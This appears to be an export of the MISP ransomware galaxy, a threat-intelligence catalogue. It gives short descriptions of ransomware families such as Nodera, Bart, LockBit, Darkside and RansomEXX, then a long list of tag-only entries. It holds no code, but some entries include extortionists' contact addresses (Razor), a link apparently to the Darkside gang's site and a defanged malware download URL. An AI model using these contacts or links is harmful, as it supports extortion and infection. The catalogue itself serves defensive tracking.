The tag is: `misp-galaxy:ransomware="Mr.Dec"`

Mr.Dec is also known as:

- MrDec
- Sherminator

*Table 7910. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.2-spyware.com/remove-mr-dec-ransomware.html">https://www.2-spyware.com/remove-mr-dec-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2018/05/mrdec-ransomware.html">https://id-ransomware.blogspot.com/2018/05/mrdec-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Freeme**

Freezing crypto ransomware encrypts user data using AES, and then requires a ransom in # BTC to return the files. Original title: not indicated in the note. The file says: FreeMe.exe

The tag is: `misp-galaxy:ransomware="Freeme"`

Freeme is also known as:

- Freezing

*Table 7911. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://id-ransomware.blogspot.com/2019/06/freeme-freezing-ransomware.html">http://id-ransomware.blogspot.com/2019/06/freeme-freezing-ransomware.html</a></td>
</tr>
</tbody>
</table>

**DoppelPaymer**

We have dubbed this new ransomware DoppelPaymer because it shares most of its code with the BitPaymer ransomware operated by INDRIK SPIDER. However, there are a number of differences between DoppelPaymer and BitPaymer, which may signify that one or more members of INDRIK SPIDER have split from the group and forked the source code of both Dridex and BitPaymer to start their own Big Game Hunting ransomware operation.
The tag is: misp-galaxy:ransomware="DoppelPaymer"

DoppelPaymer is also known as:

- Pay OR Grief
- BitPaymer
- IEncrypt
- FriedEx

Table 7912. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer">https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer</a></td>
</tr>
</tbody>
</table>

**Desync**

This crypto ransomware encrypts enterprise LAN data with AES (ECB mode), and then requires a ransom in # BTC to return the files.

The tag is: misp-galaxy:ransomware="Desync"

Table 7913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2019/01/unnamed-desync-ransomware.html">https://id-ransomware.blogspot.com/2019/01/unnamed-desync-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Maze**

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

The tag is: misp-galaxy:ransomware="Maze"

View relationships graph

Maze has relationships with:

- related-to: misp-galaxy:ransomware="Ragnar Locker" with estimative-language:likelihood-probability="likely"

Table 7914. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.maze">https://malpedia.caad.fkie.fraunhofer.de/details/win.maze</a></td>
</tr>
</tbody>
</table>
Cyborg Ransomware

Ransomware delivered using fake Windows Update spam

The tag is: `misp-galaxy:ransomware="Cyborg Ransomware"`

Table 7915. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

FTCode

A targeted email campaign has been spotted distributing the JasperLoader to victims. While the JasperLoader was originally used to then install Gootkit, Certego has observed it now being used to infect victims with a new ransomware dubbed FTCODE. Using an invoice-themed email appearing to target Italian users, the attackers attempt to convince users to allow macros in a Word document. The macro is used to run PowerShell to retrieve additional PowerShell code.

The tag is: `misp-galaxy:ransomware="FTCode"`

Table 7916. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode">https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ftcode</a></td>
</tr>
</tbody>
</table>

Clop

Observed for the first time in February 2019, variant from CryptoMix Family, itself a variation from CryptXXX and CryptoWall family

The tag is: `misp-galaxy:ransomware="Clop"`

Table 7917. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**PornBlackmailer**

A new infection is being distributed by porn sites that tries to blackmail a victim into paying a ransom by stating they will tell law enforcement that the victim is spreading child porn. This is done by collecting information about the user, including screen shots of their active desktop, in order to catch them in compromising situations.

The tag is: *misp-galaxy:ransomware="PornBlackmailer"*

**KingOuroboros**

This crypto-extortioner encrypts user data using AES, and then requires a $30- $50- $80 buy-back to BTC to return the files. The name is original. Written on AutoIt.

The tag is: *misp-galaxy:ransomware="KingOuroboros"*

**MAFIA Ransomware**

The ransomware appears to target users in Korea, and may have been developed with at least knowledge of the Korean language.

The tag is: *misp-galaxy:ransomware="MAFIA Ransomware"*

MAFIA Ransomware is also known as:

- Mafia

**5ss5c Ransomware**

The cybercrime group that brought us Satan, DBGer and Lucky ransomware and perhaps Iron ransomware, has now come up with a new version or rebranding named 5ss5c. [...] It will however only encrypt files with the following extensions: 7z, bak, cer, csv, db, dbf, dmp, docx, eps, idf, mdb,
Nodera Ransomware

Nodera is a ransomware family that uses the Node.js framework and was discovered by Quick Heal researchers. The infection chain starts with a VBS script embedded with multiple JavaScript files. Upon execution, a directory is created and both the main node.exe program and several required NodeJS files are downloaded into the directory. Additionally, a malicious JavaScript payload that performs the encryption process is saved in this directory. After checking that it has admin privileges and setting applicable variables, the malicious JavaScript file enumerates the drives to create a list of targets. Processes associated with common user file types are stopped and volume shadow copies are deleted. Finally, all user-specific files on the C: drive and all files on other drives are encrypted and are appended with a .encrypted extension. The ransom note containing instructions on paying the Bitcoin ransom are provided along with a batch script to be used for decryption after obtaining the private key. Some mistakes in the ransom note identified by the researchers include the fact that it mentions a 2048-bit RSA public key instead of 4096-bit (the size that was actually used), a hard-coded private key destruction time dating back almost 2 years ago, and a lack of instructions for how the private key will be obtained after the ransom is paid. These are signs that the ransomware may be in the development phase and was likely written by an amateur. For more information, see the QuickHeal blog post in the Reference section below.

The tag is: misp-galaxy:ransomware="Nodera Ransomware"

Nodera Ransomware is also known as:

- Nodera

MegaCortex

Discovered in May 2019. dropped throught networks compromised by trojan like Emotet or TrickBot. Tools and methods used are similar to LockerGoga

The tag is: misp-galaxy:ransomware="MegaCortex"
MegaCortex has relationships with:

- similar: misp-galaxy:ransomware="LockerGoga" with estimative-language:likelihood-probability="roughly-even-chance"

**RobinHood**

Detected in April 2019. Known for paralyzing the cities of Baltimore and Greenville. Probably also exfiltrate data

The tag is: misp-galaxy:ransomware="RobinHood"

RobinHood is also known as:

- HelpYemen

**Bart ransomware**

Bart ransomware is distributed by the same Russian Cyber Mafia behind Dridex 220 and Locky. Bart doesn’t communicate with a command and control (C&C) server, so it can encrypt files without being connected to a computer. Bart is spread to end users via phishing emails containing .zip attachments with JavaScript Code and use social engineering to trick users into opening the ‘photo’ attachments. The zipped files are obfuscated to make it more hard to tell what actions they are performing. See screenshot above for an example of what they look like. If opened, these attachments download and install the intermediary loader RockLoader which downloads Bart onto the machine over HTTPS. Once executed, it will first check the language on the infected computer. If the malware detects Russian, Belorussian, or Ukrainian, the ransomware will terminate and will not proceed with the infection. If it’s any other language, it will start scanning the computer for certain file extensions to encrypt. Because Bart does not require communication with C&C infrastructure prior to encrypting files, Bart could possibly encrypt machines sitting behind corporate firewalls that would otherwise block such traffic. Thus, organizations need to ensure that Bart is blocked at the email gateway using rules that block zipped executables.

The tag is: misp-galaxy:ransomware="Bart ransomware"

Bart ransomware is also known as:

- Locky Bart
Razor

Razor was discovered by dnwls0719, it is a part of Garrantydecrypt ransomware family. Like many other programs of this type, Razor is designed to encrypt files (make them unusable/inaccessible), change their filenames, create a ransom note and change victim’s desktop wallpaper. Razor renames files by appending the ".razor" extension to their filenames. For example, it renames "1.jpg" to "1.jpg.razor", and so on. It creates a ransom note which is a text file named "RECOVERY.txt", this file contains instructions on how to contact Razor's developers (cyber criminals) and other details. As stated in the "RECOVERY.txt" file, this ransomware encrypts all files and information about how to purchase a decryption tool can be received by contacting Razor's developers. Victims supposed to contact them via razor2020@protonmail.ch, Jabber client (razor2020@jxmpp.jp) or ICQ client (@razor2020) and wait for further instructions. It is very likely that they will name a price of a decryption tool and/or key and provide cryptocurrency wallet’s address that should be used to make a transaction. However, it is never a good idea to trust (pay) any cyber criminals/ransomware developers. It is common that they do not provide decryption tools even after a payment. Another problem is that ransomware-type programs encrypt files with strong encryption algorithms and their developers are the only ones who have tools that can decrypt files encrypted by their ransomware. In most cases victims have the only free and safe option: to restore files from a backup. Also, it is worth mentioning that files remain encrypted even after uninstallation of ransomware, its removal only prevents it from causing further encryptions.

The tag is: misp-galaxy:ransomware="Razor"

Wadhrama

The tag is: misp-galaxy:ransomware="Wadhrama"

View relationships graph

Wadhrama has relationships with:

- used-by: misp-galaxy:microsoft-activity-group="PARINACOTA" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="PARINACOTA" with estimative-language:likelihood-probability="likely"
Mespinoza

Mespinoza ransomware is used at least since October 2018. First versions used the common extension ".locked". Since December 2019 a new version in open sourced and documented, this new version uses the ".pyza" extension.

The tag is: `misp-galaxy:ransomware="Mespinoza"`

Mespinoza is also known as:

- Pyza
- Pysa

CoronaVirus

A new ransomware called CoronaVirus has been distributed through a fake web site pretending to promote the system optimization software and utilities from WiseCleaner. With the increasing fears and anxiety of the Coronavirus (COVID-19) outbreak, an attacker has started to build a campaign to distribute a malware cocktail consisting of the CoronaVirus Ransomware and the Kpot information-stealing Trojan. This new ransomware was discovered by MalwareHunterTeam and after further digging into the source of the file, we have been able to determine how the threat actor plans on distributing the ransomware and possible clues suggesting that it may actually be a wiper.

The tag is: `misp-galaxy:ransomware="CoronaVirus"`
Snake Ransomware

Snake ransomware first attracted the attention of malware analysts in January 2020 when they observed the crypto-malware family targeting entire corporate networks. Shortly after this discovery, the threat quieted down. It produced few new detected infections in the wild for the next few months. That was until May 4, when ID Ransomware registered a sudden spike in submissions for the ransomware.

The tag is: misp-galaxy:ransomware="Snake Ransomware"

Table 7930. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

eCh0raix

Anomali researchers have observed a new ransomware family, dubbed eCh0raix, targeting QNAP Network Attached Storage (NAS) devices. QNAP devices are created by the Taiwanese company QNAP Systems, Inc., and contain device storage and media player functionality, amongst others. The devices appear to be compromised by brute forcing weak credentials and exploiting known vulnerabilities in targeted attacks. The malicious payload encrypts the targeted file extensions on the NAS using AES encryption and appends .encrypt extension to the encrypted files. The ransom note created by the ransomware has the form shown below. eCh0raix was first seen in June 2019, after victims began reporting ransomware attacks in a forum topic on BleepingComputer. On June 1st, 2020, there has been a sudden surge of eCh0raix victims seeking help in our forums and submissions to the ransomware identification site ID-Ransomware.

The tag is: misp-galaxy:ransomware="eCh0raix"

Table 7931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.anomali.com/blog/the-ech0raix-ransomware">https://www.anomali.com/blog/the-ech0raix-ransomware</a></td>
</tr>
</tbody>
</table>

Egregor

The threat group behind this malware seems to operate by hacking into companies, stealing sensitive data, and then running Egregor to encrypt all the files. According to the ransom note, if the ransom is not paid by the company within 3 days, and aside from leaking part of the stolen
data, they will distribute via mass media where the company’s partners and clients will know that the company was attacked.

The tag is: **misp-galaxy:ransomware=“Egregor”**

**View relationships graph**

Egregor has relationships with:

- variant-of: **misp-galaxy:ransomware=“Sekhmet”** with **estimative-language:likelihood-probability=“likely”**

*Table 7932. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://cybersecuritynews.com/egregor-ransomware/">https://cybersecuritynews.com/egregor-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/">https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/</a></td>
</tr>
</tbody>
</table>

**SunCrypt**

SunCrypt ransomware was discovered in October 2019 and in August 2020 it was added to Maze ransomware’s cartel. It also follows some of Maze’s tactics, techniques, and procedures. SunCrypt is launched and installed using an obfuscated PowerShell script. Infected email attachments (macros), torrent websites, malicious ads act as carriers for this ransomware.

The tag is: **misp-galaxy:ransomware=“SunCrypt”**

SunCrypt is also known as:

- Sun
- Suncrypt

*Table 7933. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**LockBit**

LockBit operators tend to be very indiscriminate and opportunistic in their targeting. Actors behind
this attack will use a variety of methods to gain initial access, up to and including basic methods such as brute force. After gaining initial access the actor follows a fairly typical escalation, lateral movement and ransomware execution playbook. LockBit operators tend to have a very brief dwell time, executing the final ransomware payload as quickly as they are able to. LockBit ransomware has the built-in lateral movement features; given adequate permissions throughout the targeted environment.

The tag is: `misp-galaxy:ransomware="LockBit"`

LockBit is also known as:

- ABCD ransomware

View relationships graph

LockBit has relationships with:

- similar: `misp-galaxy:ransomware="Lockbit3"` with `estimative-language:likelihood-probability="likely"

Table 7934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware">https://usa.kaspersky.com/resource-center/threats/lockbit-ransomware</a></td>
</tr>
</tbody>
</table>

WastedLocker

WastedLocker primarily targets corporate networks. Upon initial compromise, often using a fake browser update containing SocGholish, the actor then takes advantage of dual-use and LoLBin tools in an attempt to evade detection. Key observations include lateral movement and privilege escalation. The WastedLocker ransomware has been tied back to EvilCorp.

The tag is: `misp-galaxy:ransomware="WastedLocker"

Table 7935. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Babuk Ransomsware

Since this is the first detection of this malware in the wild, it's not surprising that Babuk is not
obsfuscated at all. Overall, it's a pretty standard ransomware that utilizes some of the new
techniques we see such as multi-threading encryption as well as abusing the Windows Restart
Manager similar to Conti and REvil. For encrypting scheme, Babuk uses its own implementation of
SHA256 hashing, ChaCha28 encryption, and Elliptic-curve Diffie–Hellman (ECDH) key generation and
exchange algorithm to protect its keys and encrypt files. Like many ransomware that came before,
it also has the ability to spread its encryption through enumerating the available network
resources.

The tag is: `misp-galaxy:ransomware="Babuk Ransomware"`

**Table 7936. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/">http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Darkside**

Darkside, the latest ransomware operation to emerge has been attacking organizations beginning
earlier this month. Darkside's customized attacks on companies have already garnered them
million-dollar payouts. Through their “press release”, these threat actors have claimed to be
affiliated with prior ransomware operations making millions of dollars. They stated that they
created this new product to match their needs, as prior products didn’t. Darkside explains that they
only target companies they know that can pay the specified ransom. They have allegedly promised
that they will not attack the following sectors. They include medicine, education, non-profit
organizations, and the government sector.

The tag is: `misp-galaxy:ransomware="Darkside"`

Darkside is also known as:

- BlackMatter

**Table 7937. Table References**

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wired.com/story/ransomware-gone-corporate-darkside-where-will-it-end/">https://www.wired.com/story/ransomware-gone-corporate-darkside-where-will-it-end/</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://darksidedxcftmqqa.onion.foundation/">https://darksidedxcftmqqa.onion.foundation/</a></td>
<td></td>
</tr>
</tbody>
</table>

**RansomEXX**

We recently discovered a new file-encrypting Trojan built as an ELF executable and intended to
encrypt data on machines controlled by Linux-based operating systems. After the initial analysis we
noticed similarities in the code of the Trojan, the text of the ransom notes and the general approach
to extortion, which suggested that we had in fact encountered a Linux build of the previously
known ransomware family RansomEXX. This malware is notorious for attacking large
organizations and was most active earlier this year. RansomEXX is a highly targeted Trojan. Each
sample of the malware contains a hardcoded name of the victim organization. Moreover, both the encrypted file extension and the email address for contacting the extortionists make use of the victim’s name.

The tag is: `misp-galaxy:ransomware="RansomEXX"`

RansomEXX is also known as:

- Ransom X
- Defray777
- Defray-777
- Defray 2018

Table 7938. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx">https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomexx</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html">https://id-ransomware.blogspot.com/2020/06/ransomexx-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/Bleeping/Ransom.exx">https://github.com/Bleeping/Ransom.exx</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4/">https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/">https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/</a></td>
</tr>
</tbody>
</table>

**CovidLock**

Mobile ransomware. The Zscaler ThreatLabZ team recently came across a URL named https://coronavirusapp[.]site/mobile.html, which portrays itself as a download site for an Android app that tracks the coronavirus spread across the globe. In reality, the app is Android ransomware, which locks out the victim and asks for ransom to unlock the device. The app portrays itself as a Coronavirus Tracker. As soon as it starts running, it asks the user for several authorizations, including admin rights. In fact, this ransomware does not encrypt nor steal anything and only lock the device with an hard coded code.

The tag is: `misp-galaxy:ransomware="CovidLock"`

Table 7939. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Tycoon

This malware is written in Java and is named after references in the code. Tycoon has been in the wild since December 2019 and has targeted organizations in the education, SMBs, and software industries. Tycoon is a multi-platform Java ransomware that targets Windows and Linux systems. This ransomware denies access to the system administrator following an attack on the domain controller and file servers. The initial intrusion occurs through an internet-facing remote desktop protocol (RDP) jump-server.

The tag is: misp-galaxy:ransomware="Tycoon"

Ragnar Locker

Ragnar Locker is a ransomware identified in December 2019 that targets corporate networks in Big Game Hunting targeted attacks. This report presents recent elements regarding this ransomware.

The tag is: misp-galaxy:ransomware="Ragnar Locker"

Ragnar Locker is also known as:

- RagnarLocker

View relationships graph

Ragnar Locker has relationships with:

- similar: misp-galaxy:mitre-malware="Ragnar Locker - S0481" with estimative-language:likelihood-probability="likely"

Sekhmet

Ransom.Sekhmet not only encrypts a victim's files, but also threatens to publish them.
The tag is: misp-galaxy:ransomware="Sekhmet"

View relationships graph

Sekhmet has relationships with:

- similar: misp-galaxy:ransomware="Egregor" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 7942. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/detections/ransom-sekhmet/">https://blog.malwarebytes.com/detections/ransom-sekhmet/</a></td>
</tr>
<tr>
<td><a href="https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/">https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/</a></td>
</tr>
</tbody>
</table>

The tag is: misp-galaxy:ransomware="$$$

Ransomware

The tag is: misp-galaxy:ransomware="$ucyLocker"

$ucyLocker

Ransomware

The tag is: misp-galaxy:ransomware="10001"

10001

Ransomware

The tag is: misp-galaxy:ransomware="05250lock"

05250lock

Ransomware

The tag is: misp-galaxy:ransomware="0kilobypt"

0kilobypt

Ransomware
The tag is: misp-galaxy:ransomware="0kilobypt"

**1337-Locker**
Ransomware

The tag is: misp-galaxy:ransomware="1337-Locker"

**24H**
Ransomware

The tag is: misp-galaxy:ransomware="24H"

**3nCRY**
Ransomware

The tag is: misp-galaxy:ransomware="3nCRY"

**4rw5w**
Ransomware

The tag is: misp-galaxy:ransomware="4rw5w"

**5ss5c(5ss5cCrypt)**
Ransomware

The tag is: misp-galaxy:ransomware="5ss5c(5ss5cCrypt)"

**777(Legion)**
Ransomware

The tag is: misp-galaxy:ransomware="777(Legion)"

**7h9r**
Ransomware

The tag is: misp-galaxy:ransomware="7h9r"

**7z Portuguese**
Ransomware
The tag is: misp-galaxy:ransomware="7z Portuguese"

AAC
Ransomware
The tag is: misp-galaxy:ransomware="AAC"

ABCLocker
Ransomware
The tag is: misp-galaxy:ransomware="ABCLocker"

Adonis
Ransomware
The tag is: misp-galaxy:ransomware="Adonis"

AepCrypt
Ransomware
The tag is: misp-galaxy:ransomware="AepCrypt"

AES-Matrix
Ransomware
The tag is: misp-galaxy:ransomware="AES-Matrix"

AES-NI: April Edition
Ransomware
The tag is: misp-galaxy:ransomware="AES-NI: April Edition"

Afrodita
Ransomware
The tag is: misp-galaxy:ransomware="Afrodita"

Alco
Ransomware
The tag is: misp-galaxy:ransomware="Alco"

**AllCry**
Ransomware

The tag is: misp-galaxy:ransomware="AllCry"

**AlldataLocker**
Ransomware

The tag is: misp-galaxy:ransomware="AlldataLocker"

**Amnesia**
Ransomware

The tag is: misp-galaxy:ransomware="Amnesia"

**Amnesia-2**
Ransomware

The tag is: misp-galaxy:ransomware="Amnesia-2"

**Anatova**
Ransomware

The tag is: misp-galaxy:ransomware="Anatova"

**AnDROid**
Ransomware

The tag is: misp-galaxy:ransomware="AnDROid"

**AngryKite**
Ransomware

The tag is: misp-galaxy:ransomware="AngryKite"

**AnimusLocker**
Ransomware
Annabelle
Ransomware
The tag is: `misp-galaxy:ransomware="Annabelle"`

Annabelle 2.1
Ransomware
The tag is: `misp-galaxy:ransomware="Annabelle 2.1"`

AnonCrack
Ransomware
The tag is: `misp-galaxy:ransomware="AnonCrack"`

AnonPop
Ransomware
The tag is: `misp-galaxy:ransomware="AnonPop"`

AnteFrigus
Ransomware
The tag is: `misp-galaxy:ransomware="AnteFrigus"`

Anti-DDos
Ransomware
The tag is: `misp-galaxy:ransomware="Anti-DDos"`

Antihacker2017
Ransomware
The tag is: `misp-galaxy:ransomware="Antihacker2017"`

Anubi NotBTCWare
Ransomware
The tag is: misp-galaxy:ransomware="Anubi NotBTCWare"

**Apocalypse-Missing**

Ransomware

The tag is: misp-galaxy:ransomware="Apocalypse-Missing"

**ApolloLocker**

Ransomware

The tag is: misp-galaxy:ransomware="ApolloLocker"

**Argus**

Ransomware

The tag is: misp-galaxy:ransomware="Argus"

**Armage**

Ransomware

The tag is: misp-galaxy:ransomware="Armage"

**Armageddon**

Ransomware

The tag is: misp-galaxy:ransomware="Armageddon"

**ArmaLocky**

Ransomware

The tag is: misp-galaxy:ransomware="ArmaLocky"

**Arsium**

Ransomware

The tag is: misp-galaxy:ransomware="Arsium"

**Assembly**

Ransomware
The tag is: `misp-galaxy:ransomware="Assembly"`

**Ataware**

Ransomware

The tag is: `misp-galaxy:ransomware="Ataware"`

**Atchbo**

Ransomware

The tag is: `misp-galaxy:ransomware="Atchbo"`

**ATLAS**

Ransomware

The tag is: `misp-galaxy:ransomware="ATLAS"`

**Australian-AES**

Ransomware

The tag is: `misp-galaxy:ransomware="Australian-AES"`

**AutoEncryptor**

Ransomware

The tag is: `misp-galaxy:ransomware="AutoEncryptor"`

**AutoWannaCryV2**

Ransomware

The tag is: `misp-galaxy:ransomware="AutoWannaCryV2"`

**Auuahk-Ouuohk**

Ransomware

The tag is: `misp-galaxy:ransomware="Auuahk-Ouuohk"`

**AVCrypt**

Ransomware
AxCrypter
Ransomware
The tag is: misp-galaxy:ransomware="AxCrypter"

aZaZeL
Ransomware
The tag is: misp-galaxy:ransomware="aZaZeL"

BadEncript
Ransomware
The tag is: misp-galaxy:ransomware="BadEncript"

Balbaz
Ransomware
The tag is: misp-galaxy:ransomware="Balbaz"

Baliluware
Ransomware
The tag is: misp-galaxy:ransomware="Baliluware"

Bam!
Ransomware
The tag is: misp-galaxy:ransomware="Bam!"

BananaCrypt
Ransomware
The tag is: misp-galaxy:ransomware="BananaCrypt"

BancoCrypt HT
Ransomware
Barack Obama’s EBBV
Ransomware
The tag is: misp-galaxy:ransomware="Barack Obama’s EBBV"

Basilisque Locker
Ransomware
The tag is: misp-galaxy:ransomware="Basilisque Locker"

BASS-FES
Ransomware
The tag is: misp-galaxy:ransomware="BASS-FES"

BB
Ransomware
The tag is: misp-galaxy:ransomware="BB"

BeethoveN
Ransomware
The tag is: misp-galaxy:ransomware="BeethoveN"

BestChangeRu
Ransomware
The tag is: misp-galaxy:ransomware="BestChangeRu"

BigBossHorse
Ransomware
The tag is: misp-galaxy:ransomware="BigBossHorse"

Birbware
Ransomware
The tag is: misp-galaxy:ransomware="Birbware"

BitCrypt
Ransomware
The tag is: misp-galaxy:ransomware="BitCrypt"

BitCrypt 2.0
Ransomware
The tag is: misp-galaxy:ransomware="BitCrypt 2.0"

BitKangoroo
Ransomware
The tag is: misp-galaxy:ransomware="BitKangoroo"

BitPyLock
Ransomware
The tag is: misp-galaxy:ransomware="BitPyLock"

Bitshifter
Ransomware
The tag is: misp-galaxy:ransomware="Bitshifter"

BKRansomware
Ransomware
The tag is: misp-galaxy:ransomware="BKRansomware"

Black Feather
Ransomware
The tag is: misp-galaxy:ransomware="Black Feather"

BlackFireEye
Ransomware
The tag is: misp-galaxy:ransomware="BlackFireEye"

**BlackHat-Mehtihack**

Ransomware

The tag is: misp-galaxy:ransomware="BlackHat-Mehtihack"

**BlackKingdom**

Ransomware

The tag is: misp-galaxy:ransomware="BlackKingdom"

**BlackMist**

Ransomware

The tag is: misp-galaxy:ransomware="BlackMist"

**Blackout**

Ransomware

The tag is: misp-galaxy:ransomware="Blackout"

**BlackPink**

Ransomware

The tag is: misp-galaxy:ransomware="BlackPink"

**BlackRose**

Ransomware

The tag is: misp-galaxy:ransomware="BlackRose"

**BlackSheep**

Ransomware

The tag is: misp-galaxy:ransomware="BlackSheep"

**Black Worm**

Ransomware
The tag is: misp-galaxy:ransomware="Black Worm"

Blank
Ransomware
The tag is: misp-galaxy:ransomware="Blank"

Blind
Ransomware
The tag is: misp-galaxy:ransomware="Blind"

Blitzkrieg
Ransomware
The tag is: misp-galaxy:ransomware="Blitzkrieg"

BlockFile12
Ransomware
The tag is: misp-galaxy:ransomware="BlockFile12"

BloodJaws
Ransomware
The tag is: misp-galaxy:ransomware="BloodJaws"

Blooper
Ransomware
The tag is: misp-galaxy:ransomware="Blooper"

BlueCheeser
Ransomware
The tag is: misp-galaxy:ransomware="BlueCheeser"

Bluerose
Ransomware
The tag is: misp-galaxy:ransomware="Bluerose"

**BOK**
Ransomware

The tag is: misp-galaxy:ransomware="BOK"

**BoooamCrypt**
Ransomware

The tag is: misp-galaxy:ransomware="BoooamCrypt"

**BooM**
Ransomware

The tag is: misp-galaxy:ransomware="BooM"

**Boris HT**
Ransomware

The tag is: misp-galaxy:ransomware="Boris HT"

**BrainLag**
Ransomware

The tag is: misp-galaxy:ransomware="BrainLag"

**BRansomware**
Ransomware

The tag is: misp-galaxy:ransomware="BRansomware"

**Brick**
Ransomware

The tag is: misp-galaxy:ransomware="Brick"

**BrickR**
Ransomware
The tag is: misp-galaxy:ransomware="BrickR"

**BtcKING**
Ransomware
The tag is: misp-galaxy:ransomware="BtcKING"

**BTCWare-Aleta**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-Aleta"

**BTCWare-Gryphon**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-Gryphon"

**BTCWare-Master**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-Master"

**BTCWare-Nuclear**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-Nuclear"

**BTCWare-Onyon**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-Onyon"

**BTCWare-PayDay**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-PayDay"

**BTCWare-Wyvern**
Ransomware
The tag is: misp-galaxy:ransomware="BTCWare-Wyvern"

Bud
Ransomware
The tag is: misp-galaxy:ransomware="Bud"

BugWare
Ransomware
The tag is: misp-galaxy:ransomware="BugWare"

BulbaCrypt HT
Ransomware
The tag is: misp-galaxy:ransomware="BulbaCrypt HT"

BWall
Ransomware
The tag is: misp-galaxy:ransomware="BWall"

C0hen Locker
Ransomware
The tag is: misp-galaxy:ransomware="C0hen Locker"

CA$HOUT
Ransomware
The tag is: misp-galaxy:ransomware="CA$HOUT"

CainXPii
Ransomware
The tag is: misp-galaxy:ransomware="CainXPii"

Cephalo
Ransomware
The tag is: `misp-galaxy:ransomware="Cephalo"`

**Cerberos**
Ransomware

The tag is: `misp-galaxy:ransomware="Cerberos"`

**Charmant**
Ransomware

The tag is: `misp-galaxy:ransomware="Charmant"`

**Chekyshka**
Ransomware

The tag is: `misp-galaxy:ransomware="Chekyshka"`

**ChernoLocker**
Ransomware

The tag is: `misp-galaxy:ransomware="ChernoLocker"`

**ChinaYunLong**
Ransomware

The tag is: `misp-galaxy:ransomware="ChinaYunLong"`

**Christmas**
Ransomware

The tag is: `misp-galaxy:ransomware="Christmas"`

**ClicoCrypter**
Ransomware

The tag is: `misp-galaxy:ransomware="ClicoCrypter"`

**ClicoCrypter-2**
Ransomware
Clouded
Ransomware
The tag is: misp-galaxy:ransomware="Clouded"

Cmd
Ransomware
The tag is: misp-galaxy:ransomware="Cmd"

Codemanager
Ransomware
The tag is: misp-galaxy:ransomware="Codemanager"

Coin Locker
Ransomware
The tag is: misp-galaxy:ransomware="Coin Locker"

Comrade HT
Ransomware
The tag is: misp-galaxy:ransomware="Comrade HT"

CoNFicker
Ransomware
The tag is: misp-galaxy:ransomware="CoNFicker"

Coom
Ransomware
The tag is: misp-galaxy:ransomware="Coom"

CorruptCrypt
Ransomware
The tag is: misp-galaxy:ransomware="CorruptCrypt"

**Creeper**
Ransomware

The tag is: misp-galaxy:ransomware="Creeper"

**Creepy**
Ransomware

The tag is: misp-galaxy:ransomware="Creepy"

**Cripton**
Ransomware

The tag is: misp-galaxy:ransomware="Cripton"

